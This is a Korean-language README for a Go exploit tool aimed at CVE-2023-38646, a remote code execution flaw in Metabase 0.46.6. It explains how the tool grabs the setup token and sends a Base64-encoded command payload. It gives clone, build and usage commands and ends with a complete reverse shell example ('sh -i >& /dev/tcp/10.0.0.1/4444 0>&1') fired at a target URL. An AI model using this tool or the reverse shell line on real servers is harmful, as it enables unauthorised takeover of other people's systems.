CVE-2023-38646

CVE-2023-38646 Metabase 0.46.6 익스플로잇

이 도구는 소프트웨어 플랫폼의 취약점(CVE-2023-38646)을 악용합니다. 이 익스플로잇은 잘못 처리된 데이터베이스 연결 문자열을 이용하여 조작된 요청을 통해 원격 코드 실행을 가능하게 합니다.

개요

이 도구는:

• 대상 URL에서 설정 토큰(setup token)을 가져옵니다.
• 제공된 명령어를 Base64로 인코딩합니다.
• 인코딩된 명령어로 페이로드를 구성합니다.
• 페이로드를 전송하여 취약점을 악용합니다.

설치

저장소를 클론합니다:

git clone https://github.com/SUT0L/CVE-2023-38646.git
cd CVE-2023-38646
go build -o exploit
chmod +x exploit

사용법

./exploit --url [TARGET_URL] --command [COMMAND] [--proxy PROXY_URL]

TARGET_URL: 스캔 및 악용할 플랫폼의 URL. COMMAND: 대상에서 실행할 명령어. PROXY_URL (선택 사항): 프록시 서버의 URL (예: http://127.0.0.1:8080). 제공하지 않으면 프록시가 사용되지 않습니다.

sh 리버스 셸 예시

./exploit --url https://example.com --command 'sh -i >& /dev/tcp/10.0.0.1/4444 0>&1' --proxy http://127.0.0.1:8080